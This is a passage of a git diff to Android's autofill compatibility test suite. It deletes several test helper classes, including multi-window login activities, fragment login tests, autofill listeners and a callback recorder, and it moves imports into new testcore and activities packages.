-        sLastInstanceLatch = new CountDownLatch(waitWindowFocus ? 2 : 1);
-    }
-
-    public static MultiWindowEmptyActivity waitNewInstance() throws InterruptedException {
-        if (!sLastInstanceLatch.await(Timeouts.ACTIVITY_RESURRECTION.getMaxValue(),
-                TimeUnit.MILLISECONDS)) {
-            throw new RetryableException("New MultiWindowLoginActivity didn't start",
-                    Timeouts.ACTIVITY_RESURRECTION);
-        }
-        sLastInstanceLatch = null;
-        return sLastInstance;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivity.java
deleted file mode 100644
index 9512591..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivity.java
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import com.android.compatibility.common.util.RetryableException;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Activity that allows capture recreated instance for testing multi window scenarios.
- */
-public class MultiWindowLoginActivity extends LoginActivity {
-
-    private static MultiWindowLoginActivity sLastInstance;
-    private static CountDownLatch sLastInstanceLatch;
-
-    @Override
-    protected void onStart() {
-        super.onStart();
-        sLastInstance = this;
-        if (sLastInstanceLatch != null) {
-            sLastInstanceLatch.countDown();
-        }
-    }
-
-    @Override
-    public void onWindowFocusChanged(boolean hasFocus) {
-        if (hasFocus) {
-            if (sLastInstanceLatch != null) {
-                sLastInstanceLatch.countDown();
-            }
-        }
-    }
-
-    public static void expectNewInstance(boolean waitWindowFocus) {
-        sLastInstanceLatch = new CountDownLatch(waitWindowFocus ? 2 : 1);
-    }
-
-    public static MultiWindowLoginActivity waitNewInstance() throws InterruptedException {
-        if (!sLastInstanceLatch.await(Timeouts.ACTIVITY_RESURRECTION.getMaxValue(),
-                TimeUnit.MILLISECONDS)) {
-            throw new RetryableException("New MultiWindowLoginActivity didn't start",
-                    Timeouts.ACTIVITY_RESURRECTION);
-        }
-        sLastInstanceLatch = null;
-        return sLastInstance;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivityTest.java
index bc70ff6..0cff3d2 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivityTest.java
@@ -15,9 +15,8 @@
  */
 package android.autofillservice.cts;
 
-import static android.app.ActivityTaskManager.SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT;
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
 
 import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
 import static com.android.compatibility.common.util.ShellUtils.tap;
@@ -28,6 +27,13 @@
 
 import android.app.Activity;
 import android.app.ActivityTaskManager;
+import android.autofillservice.cts.activities.LoginActivity;
+import android.autofillservice.cts.activities.MultiWindowEmptyActivity;
+import android.autofillservice.cts.activities.MultiWindowLoginActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.Helper;
 import android.content.Intent;
 import android.platform.test.annotations.AppModeFull;
 import android.view.View;
@@ -41,7 +47,7 @@
 
 import java.util.concurrent.TimeoutException;
 
-@AppModeFull(reason = "This test requires android.permission.MANAGE_ACTIVITY_STACKS")
+@AppModeFull(reason = "This test requires android.permission.MANAGE_ACTIVITY_TASKS")
 public class MultiWindowLoginActivityTest
         extends AutoFillServiceTestCase.AutoActivityLaunch<MultiWindowLoginActivity> {
 
@@ -61,6 +67,11 @@
     }
 
     @Override
+    protected void cleanAllActivities() {
+        MultiWindowEmptyActivity.finishAndWaitDestroy();
+    }
+
+    @Override
     protected TestRule getMainTestRule() {
         return RuleChain.outerRule(new AdoptShellPermissionsRule()).around(getActivityRule());
     }
@@ -68,7 +79,7 @@
     @Before
     public void setup() {
         assumeTrue("Skipping test: no split multi-window support",
-                ActivityTaskManager.supportsSplitScreenMultiWindow(mContext));
+                ActivityTaskManager.supportsSplitScreenMultiWindow(mActivity));
     }
 
     /**
@@ -91,8 +102,7 @@
      * Put activity in TOP, will be followed by amStartActivity()
      */
     protected void splitWindow(Activity activity) {
-        mAtm.setTaskWindowingModeSplitScreenPrimary(activity.getTaskId(),
-                SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT, true, false, null, true);
+        mAtm.setTaskWindowingModeSplitScreenPrimary(activity.getTaskId(), true /* toTop */);
     }
 
     protected void amStartActivity(Class<? extends Activity> activity2) {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultipleFragmentLoginTest.java b/tests/autofillservice/src/android/autofillservice/cts/MultipleFragmentLoginTest.java
deleted file mode 100644
index ad08fd3..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/MultipleFragmentLoginTest.java
+++ /dev/null
@@ -1,241 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
-import static android.autofillservice.cts.FragmentContainerActivity.FRAGMENT_TAG;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.app.assist.AssistStructure;
-import android.app.assist.AssistStructure.ViewNode;
-import android.os.Bundle;
-import android.util.Log;
-import android.view.autofill.AutofillValue;
-import android.widget.EditText;
-
-import org.junit.Test;
-
-public class MultipleFragmentLoginTest
-        extends AutoFillServiceTestCase.AutoActivityLaunch<FragmentContainerActivity> {
-
-    private static final String LOG_TAG = "MultipleFragmentLoginTest";
-
-    private FragmentContainerActivity mActivity;
-    private EditText mEditText1;
-    private EditText mEditText2;
-
-    @Override
-    protected AutofillActivityTestRule<FragmentContainerActivity> getActivityRule() {
-        return new AutofillActivityTestRule<FragmentContainerActivity>(
-                FragmentContainerActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-                mEditText1 = mActivity.findViewById(R.id.editText1);
-                mEditText2 = mActivity.findViewById(R.id.editText2);
-            }
-        };
-    }
-
-    @Test
-    public void loginOnTwoFragments() throws Exception {
-        enableService();
-
-        Bundle clientState = new Bundle();
-        clientState.putString("key", "value1");
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedFillResponse.CannedDataset.Builder()
-                        .setField("editText1", "editText1-autofilled")
-                        .setPresentation(createPresentation("dataset1"))
-                        .build())
-                .setExtras(clientState)
-                .build());
-
-        // Trigger autofill on editText2
-        mActivity.syncRunOnUiThread(() -> mEditText2.requestFocus());
-
-        final InstrumentedAutoFillService.FillRequest fillRequest1 = sReplier.getNextFillRequest();
-        assertThat(fillRequest1.data).isNull();
-
-        mUiBot.assertNoDatasetsEver(); // UI is only shown on editText1
-
-        mActivity.setRootContainerFocusable(false);
-
-        final AssistStructure structure = fillRequest1.contexts.get(0).getStructure();
-        assertThat(fillRequest1.contexts.size()).isEqualTo(1);
-        assertThat(findNodeByResourceId(structure, "editText1")).isNotNull();
-        assertThat(findNodeByResourceId(structure, "editText2")).isNotNull();
-        assertThat(findNodeByResourceId(structure, "editText3")).isNull();
-        assertThat(findNodeByResourceId(structure, "editText4")).isNull();
-        assertThat(findNodeByResourceId(structure, "editText5")).isNull();
-
-        // Wait until autofill has been applied
-        mActivity.syncRunOnUiThread(() -> mEditText1.requestFocus());
-        mUiBot.selectDataset("dataset1");
-        mUiBot.assertShownByText("editText1-autofilled");
-
-        // Manually fill view
-        mActivity.syncRunOnUiThread(() -> mEditText2.setText("editText2-manually-filled"));
-
-        // Replacing the fragment focused a previously unknown view which triggers a new
-        // partition
-        clientState.putString("key", "value2");
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedFillResponse.CannedDataset.Builder()
-                        .setField("editText3", "editText3-autofilled")
-                        .setField("editText4", "editText4-autofilled")
-                        .setPresentation(createPresentation("dataset2"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, "editText2", "editText5")
-                .setExtras(clientState)
-                .build());
-
-        Log.i(LOG_TAG, "Switching Fragments");
-        mActivity.syncRunOnUiThread(
-                () -> mActivity.getFragmentManager().beginTransaction().replace(
-                        R.id.rootContainer, new FragmentWithMoreEditTexts(),
-                        FRAGMENT_TAG).commitNow());
-        EditText editText5 = mActivity.findViewById(R.id.editText5);
-        final InstrumentedAutoFillService.FillRequest fillRequest2 = sReplier.getNextFillRequest();
-
-        // The fillRequest should have a fillContext for each partition. The first partition
-        // should be filled in
-        assertThat(fillRequest2.contexts.size()).isEqualTo(2);
-
-        assertThat(fillRequest2.data.getString("key")).isEqualTo("value1");
-
-        final AssistStructure structure1 = fillRequest2.contexts.get(0).getStructure();
-        ViewNode editText1Node = findNodeByResourceId(structure1, "editText1");
-        // The actual value in the structure is not updated in FillRequest-contexts, but the
-        // autofill value is. For text views in SaveRequest both are updated, but this is the
-        // only exception.
-        assertThat(editText1Node.getAutofillValue()).isEqualTo(
-                AutofillValue.forText("editText1-autofilled"));
-
-        ViewNode editText2Node = findNodeByResourceId(structure1, "editText2");
-        // Manually filled fields are not send to onFill. They appear in onSave if they are set
-        // as saveable fields.
-        assertThat(editText2Node.getText().toString()).isEqualTo("");
-
-        assertThat(findNodeByResourceId(structure1, "editText3")).isNull();
-        assertThat(findNodeByResourceId(structure1, "editText4")).isNull();
-        assertThat(findNodeByResourceId(structure1, "editText5")).isNull();
-
-        final AssistStructure structure2 = fillRequest2.contexts.get(1).getStructure();
-
-        assertThat(findNodeByResourceId(structure2, "editText1")).isNull();
-        assertThat(findNodeByResourceId(structure2, "editText2")).isNull();
-        assertThat(findNodeByResourceId(structure2, "editText3")).isNotNull();
-        assertThat(findNodeByResourceId(structure2, "editText4")).isNotNull();
-        assertThat(findNodeByResourceId(structure2, "editText5")).isNotNull();
-
-        // Wait until autofill has been applied
-        mUiBot.selectDataset("dataset2");
-        mUiBot.assertShownByText("editText3-autofilled");
-        mUiBot.assertShownByText("editText4-autofilled");
-
-        // Manually fill view
-        mActivity.syncRunOnUiThread(() -> editText5.setText("editText5-manually-filled"));
-
-        // Finish activity and save data
-        mActivity.finish();
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
-
-        // The saveRequest should have a fillContext for each partition with all the data
-        final InstrumentedAutoFillService.SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertThat(saveRequest.contexts.size()).isEqualTo(2);
-
-        assertThat(saveRequest.data.getString("key")).isEqualTo("value2");
-
-        final AssistStructure saveStructure1 = saveRequest.contexts.get(0).getStructure();
-        editText1Node = findNodeByResourceId(saveStructure1, "editText1");
-        assertThat(editText1Node.getText().toString()).isEqualTo("editText1-autofilled");
-
-        editText2Node = findNodeByResourceId(saveStructure1, "editText2");
-        assertThat(editText2Node.getText().toString()).isEqualTo("editText2-manually-filled");
-
-        assertThat(findNodeByResourceId(saveStructure1, "editText3")).isNull();
-        assertThat(findNodeByResourceId(saveStructure1, "editText4")).isNull();
-        assertThat(findNodeByResourceId(saveStructure1, "editText5")).isNull();
-
-        final AssistStructure saveStructure2 = saveRequest.contexts.get(1).getStructure();
-        assertThat(findNodeByResourceId(saveStructure2, "editText1")).isNull();
-        assertThat(findNodeByResourceId(saveStructure2, "editText2")).isNull();
-
-        ViewNode editText3Node = findNodeByResourceId(saveStructure2, "editText3");
-        assertThat(editText3Node.getText().toString()).isEqualTo("editText3-autofilled");
-
-        ViewNode editText4Node = findNodeByResourceId(saveStructure2, "editText4");
-        assertThat(editText4Node.getText().toString()).isEqualTo("editText4-autofilled");
-
-        ViewNode editText5Node = findNodeByResourceId(saveStructure2, "editText5");
-        assertThat(editText5Node.getText().toString()).isEqualTo("editText5-manually-filled");
-    }
-
-    @Test
-    public void uiDismissedWhenNonSavableFragmentIsGone() throws Exception {
-        uiDismissedWhenFragmentIsGoneText(false);
-    }
-
-    @Test
-    public void uiDismissedWhenSavableFragmentIsGone() throws Exception {
-        uiDismissedWhenFragmentIsGoneText(true);
-    }
-
-    private void uiDismissedWhenFragmentIsGoneText(boolean savable) throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        final CannedFillResponse.Builder response = new CannedFillResponse.Builder()
-                .addDataset(new CannedFillResponse.CannedDataset.Builder()
-                        .setField("editText1", "whatever")
-                        .setPresentation(createPresentation("dataset1"))
-                        .build());
-        if (savable) {
-            response.setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, "editText2");
-        }
-
-        sReplier.addResponse(response.build());
-
-        // Trigger autofill on editText2
-        mActivity.syncRunOnUiThread(() -> mEditText2.requestFocus());
-        sReplier.getNextFillRequest();
-        mUiBot.assertNoDatasetsEver(); // UI is only shown on editText1
-
-        mActivity.setRootContainerFocusable(false);
-
-        // Check UI is shown, but don't select it.
-        mActivity.syncRunOnUiThread(() -> mEditText1.requestFocus());
-        mUiBot.assertDatasets("dataset1");
-
-        // Switch fragments
-        sReplier.addResponse(NO_RESPONSE);
-        mActivity.syncRunOnUiThread(
-                () -> mActivity.getFragmentManager().beginTransaction().replace(
-                        R.id.rootContainer, new FragmentWithMoreEditTexts(),
-                        FRAGMENT_TAG).commitNow());
-        // Make sure UI is gone.
-        sReplier.getNextFillRequest();
-        mUiBot.assertNoDatasets();
-    }
-
-    // TODO: add similar tests for fragment with virtual view
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultipleTimesRadioGroupListener.java b/tests/autofillservice/src/android/autofillservice/cts/MultipleTimesRadioGroupListener.java
deleted file mode 100644
index 5af2762..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/MultipleTimesRadioGroupListener.java
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Timeouts.FILL_TIMEOUT;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.widget.RadioGroup;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Custom {@link android.widget.RadioGroup.OnCheckedChangeListener} used to assert an
- * {@link RadioGroup} was auto-filled properly.
- */
-final class MultipleTimesRadioGroupListener implements RadioGroup.OnCheckedChangeListener {
-    private final String mName;
-    private final CountDownLatch mLatch;
-    private final RadioGroup mRadioGroup;
-    private final int mExpected;
-
-    MultipleTimesRadioGroupListener(String name, int times, RadioGroup radioGroup,
-            int expectedAutoFilledValue) {
-        mName = name;
-        mRadioGroup = radioGroup;
-        mExpected = expectedAutoFilledValue;
-        mLatch = new CountDownLatch(times);
-    }
-
-    @Override
-    public void onCheckedChanged(RadioGroup group, int checkedId) {
-        mLatch.countDown();
-    }
-
-    void assertAutoFilled() throws Exception {
-        final boolean set = mLatch.await(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
-        assertWithMessage("Timeout (%s ms) on RadioGroup %s", FILL_TIMEOUT.ms(), mName)
-            .that(set).isTrue();
-        final int actual = mRadioGroup.getAutofillValue().getListValue();
-        assertWithMessage("Wrong auto-fill value on RadioGroup %s", mName)
-            .that(actual).isEqualTo(mExpected);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultipleTimesTextWatcher.java b/tests/autofillservice/src/android/autofillservice/cts/MultipleTimesTextWatcher.java
deleted file mode 100644
index a841fef..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/MultipleTimesTextWatcher.java
+++ /dev/null
@@ -1,76 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Timeouts.FILL_TIMEOUT;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.text.Editable;
-import android.text.TextWatcher;
-import android.util.Log;
-import android.widget.EditText;
-
-import com.android.compatibility.common.util.RetryableException;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Custom {@link TextWatcher} used to assert a {@link EditText} was set multiple times.
- */
-class MultipleTimesTextWatcher implements TextWatcher {
-    private static final String TAG = "MultipleTimesTextWatcher";
-
-    private final String mName;
-    private final CountDownLatch mLatch;
-    private final EditText mEditText;
-    private final CharSequence mExpected;
-
-    MultipleTimesTextWatcher(String name, int times, EditText editText,
-            CharSequence expectedAutofillValue) {
-        this.mName = name;
-        this.mEditText = editText;
-        this.mExpected = expectedAutofillValue;
-        this.mLatch = new CountDownLatch(times);
-    }
-
-    @Override
-    public void beforeTextChanged(CharSequence s, int start, int count, int after) {
-    }
-
-    @Override
-    public void onTextChanged(CharSequence s, int start, int before, int count) {
-        Log.v(TAG, "onTextChanged(" + mLatch.getCount() + "): " + mName + " = " + s);
-        mLatch.countDown();
-    }
-
-    @Override
-    public void afterTextChanged(Editable s) {
-    }
-
-    void assertAutoFilled() throws Exception {
-        final boolean set = mLatch.await(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
-        if (!set) {
-            throw new RetryableException(FILL_TIMEOUT, "Timeout (%s ms) on EditText %s",
-                    FILL_TIMEOUT.ms(), mName);
-        }
-        final String actual = mEditText.getText().toString();
-        assertWithMessage("Wrong auto-fill value on EditText %s", mName)
-                .that(actual).isEqualTo(mExpected.toString());
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultipleTimesTimeListener.java b/tests/autofillservice/src/android/autofillservice/cts/MultipleTimesTimeListener.java
deleted file mode 100644
index 2519aec..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/MultipleTimesTimeListener.java
+++ /dev/null
@@ -1,61 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Timeouts.FILL_TIMEOUT;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.widget.TimePicker;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Custom {@OnDateChangedListener} used to assert a {@link TimePicker} was auto-filled properly.
- */
-final class MultipleTimesTimeListener implements TimePicker.OnTimeChangedListener {
-    private final String name;
-    private final CountDownLatch latch;
-    private final TimePicker timePicker;
-    private final int expectedHour;
-    private final int expectedMinute;
-
-    MultipleTimesTimeListener(String name, int times, TimePicker timePicker, int expectedHour,
-            int expectedMinute) {
-        this.name = name;
-        this.timePicker = timePicker;
-        this.expectedHour = expectedHour;
-        this.expectedMinute = expectedMinute;
-        this.latch = new CountDownLatch(times);
-    }
-
-    @Override
-    public void onTimeChanged(TimePicker view, int hour, int minute) {
-        latch.countDown();
-    }
-
-    void assertAutoFilled() throws Exception {
-        final boolean set = latch.await(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
-        assertWithMessage("Timeout (%s ms) on TimePicker %s", FILL_TIMEOUT.ms(), name)
-                .that(set).isTrue();
-        assertWithMessage("Wrong hour on TimePicker %s", name)
-                .that(timePicker.getHour()).isEqualTo(expectedHour);
-        assertWithMessage("Wrong minute on TimePicker %s", name)
-                .that(timePicker.getMinute()).isEqualTo(expectedMinute);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MutableAutofillIdTest.java b/tests/autofillservice/src/android/autofillservice/cts/MutableAutofillIdTest.java
index 8d63fcd..ce37c23 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/MutableAutofillIdTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/MutableAutofillIdTest.java
@@ -16,11 +16,11 @@
 
 package android.autofillservice.cts;
 
-import static android.autofillservice.cts.GridActivity.ID_L1C1;
-import static android.autofillservice.cts.GridActivity.ID_L1C2;
-import static android.autofillservice.cts.Helper.assertEqualsIgnoreSession;
-import static android.autofillservice.cts.Helper.assertTextIsSanitized;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.activities.GridActivity.ID_L1C1;
+import static android.autofillservice.cts.activities.GridActivity.ID_L1C2;
+import static android.autofillservice.cts.testcore.Helper.assertEqualsIgnoreSession;
+import static android.autofillservice.cts.testcore.Helper.assertTextIsSanitized;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
 
 import static com.google.common.truth.Truth.assertThat;
@@ -29,10 +29,12 @@
 
 import android.app.assist.AssistStructure;
 import android.app.assist.AssistStructure.ViewNode;
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.GridActivity.FillExpectation;
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
+import android.autofillservice.cts.activities.GridActivity.FillExpectation;
+import android.autofillservice.cts.commontests.AbstractGridActivityTestCase;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
 import android.service.autofill.FillContext;
 import android.support.test.uiautomator.UiObject2;
 import android.util.Log;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MyAutofillCallback.java b/tests/autofillservice/src/android/autofillservice/cts/MyAutofillCallback.java
deleted file mode 100644
index c38538b..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/MyAutofillCallback.java
+++ /dev/null
@@ -1,203 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.callbackEventAsString;
-import static android.autofillservice.cts.Timeouts.CALLBACK_NOT_CALLED_TIMEOUT_MS;
-import static android.autofillservice.cts.Timeouts.CONNECTION_TIMEOUT;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.util.Log;
-import android.view.View;
-import android.view.autofill.AutofillManager.AutofillCallback;
-
-import com.android.compatibility.common.util.RetryableException;
-import com.android.compatibility.common.util.Timeout;
-
-import java.util.concurrent.BlockingQueue;
-import java.util.concurrent.LinkedBlockingQueue;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Custom {@link AutofillCallback} used to recover events during tests.
- */
-public final class MyAutofillCallback extends AutofillCallback {
-
-    private static final String TAG = "MyAutofillCallback";
-    private final BlockingQueue<MyEvent> mEvents = new LinkedBlockingQueue<>();
-
-    public static final Timeout MY_TIMEOUT = CONNECTION_TIMEOUT;
-
-    // We must handle all requests in a separate thread as the service's main thread is the also
-    // the UI thread of the test process and we don't want to hose it in case of failures here
-    private static final HandlerThread sMyThread = new HandlerThread("MyCallbackThread");
-    private final Handler mHandler;
-
-    static {
-        Log.i(TAG, "Starting thread " + sMyThread);
-        sMyThread.start();
-    }
-
-    MyAutofillCallback() {
-        mHandler = Handler.createAsync(sMyThread.getLooper());
-    }
-
-    @Override
-    public void onAutofillEvent(View view, int event) {
-        mHandler.post(() -> offer(new MyEvent(view, event)));
-    }
-
-    @Override
-    public void onAutofillEvent(View view, int childId, int event) {
-        mHandler.post(() -> offer(new MyEvent(view, childId, event)));
-    }
-
-    private void offer(MyEvent event) {
-        Log.v(TAG, "offer: " + event);
-        Helper.offer(mEvents, event, MY_TIMEOUT.ms());
-    }
-
-    /**
-     * Gets the next available event or fail if it times out.
-     */
-    public MyEvent getEvent() throws InterruptedException {
-        final MyEvent event = mEvents.poll(CONNECTION_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
-        if (event == null) {
-            throw new RetryableException(CONNECTION_TIMEOUT, "no event");
-        }
-        return event;
-    }
-
-    /**
-     * Assert no more events were received.
-     */
-    public void assertNotCalled() throws InterruptedException {
-        final MyEvent event = mEvents.poll(CALLBACK_NOT_CALLED_TIMEOUT_MS, TimeUnit.MILLISECONDS);
-        if (event != null) {
-            // Not retryable.
-            throw new IllegalStateException("should not have received " + event);
-        }
-    }
-
-    /**
-     * Used to assert there is no event left behind.
-     */
-    public void assertNumberUnhandledEvents(int expected) {
-        assertWithMessage("Invalid number of events left: %s", mEvents).that(mEvents.size())
-                .isEqualTo(expected);
-    }
-
-    /**
-     * Convenience method to assert an UI shown event for the given view was received.
-     */
-    public MyEvent assertUiShownEvent(View expectedView) throws InterruptedException {
-        final MyEvent event = getEvent();
-        assertWithMessage("Invalid type on event %s", event).that(event.event)
-                .isEqualTo(EVENT_INPUT_SHOWN);
-        assertWithMessage("Invalid view on event %s", event).that(event.view)
-            .isSameInstanceAs(expectedView);
-        return event;
-    }
-
-    /**
-     * Convenience method to assert an UI shown event for the given virtual view was received.
-     */
-    public void assertUiShownEvent(View expectedView, int expectedChildId)
-            throws InterruptedException {
-        final MyEvent event = assertUiShownEvent(expectedView);
-        assertWithMessage("Invalid child on event %s", event).that(event.childId)
-            .isEqualTo(expectedChildId);
-    }
-
-    /**
-     * Convenience method to assert an UI shown event a virtual view was received.
-     *
-     * @return virtual child id
-     */
-    public int assertUiShownEventForVirtualChild(View expectedView) throws InterruptedException {
-        final MyEvent event = assertUiShownEvent(expectedView);
-        return event.childId;
-    }
-
-    /**
-     * Convenience method to assert an UI hidden event for the given view was received.
-     */
-    public MyEvent assertUiHiddenEvent(View expectedView) throws InterruptedException {
-        final MyEvent event = getEvent();
-        assertWithMessage("Invalid type on event %s", event).that(event.event)
-                .isEqualTo(EVENT_INPUT_HIDDEN);
-        assertWithMessage("Invalid view on event %s", event).that(event.view)
-                .isSameInstanceAs(expectedView);
-        return event;
-    }
-
-    /**
-     * Convenience method to assert an UI hidden event for the given view was received.
-     */
-    public void assertUiHiddenEvent(View expectedView, int expectedChildId)
-            throws InterruptedException {
-        final MyEvent event = assertUiHiddenEvent(expectedView);
-        assertWithMessage("Invalid child on event %s", event).that(event.childId)
-                .isEqualTo(expectedChildId);
-    }
-
-    /**
-     * Convenience method to assert an UI unavailable event for the given view was received.
-     */
-    public MyEvent assertUiUnavailableEvent(View expectedView) throws InterruptedException {
-        final MyEvent event = getEvent();
-        assertWithMessage("Invalid type on event %s", event).that(event.event)
-                .isEqualTo(EVENT_INPUT_UNAVAILABLE);
-        assertWithMessage("Invalid view on event %s", event).that(event.view)
-                .isSameInstanceAs(expectedView);
-        return event;
-    }
-
-    /**
-     * Convenience method to assert an UI unavailable event for the given view was received.
-     */
-    public void assertUiUnavailableEvent(View expectedView, int expectedChildId)
-            throws InterruptedException {
-        final MyEvent event = assertUiUnavailableEvent(expectedView);
-        assertWithMessage("Invalid child on event %s", event).that(event.childId)
-                .isEqualTo(expectedChildId);
-    }
-
-    private static final class MyEvent {
-        public final View view;
-        public final int childId;
-        public final int event;
-
-        MyEvent(View view, int event) {
-            this(view, View.NO_ID, event);
-        }
-
-        MyEvent(View view, int childId, int event) {
-            this.view = view;
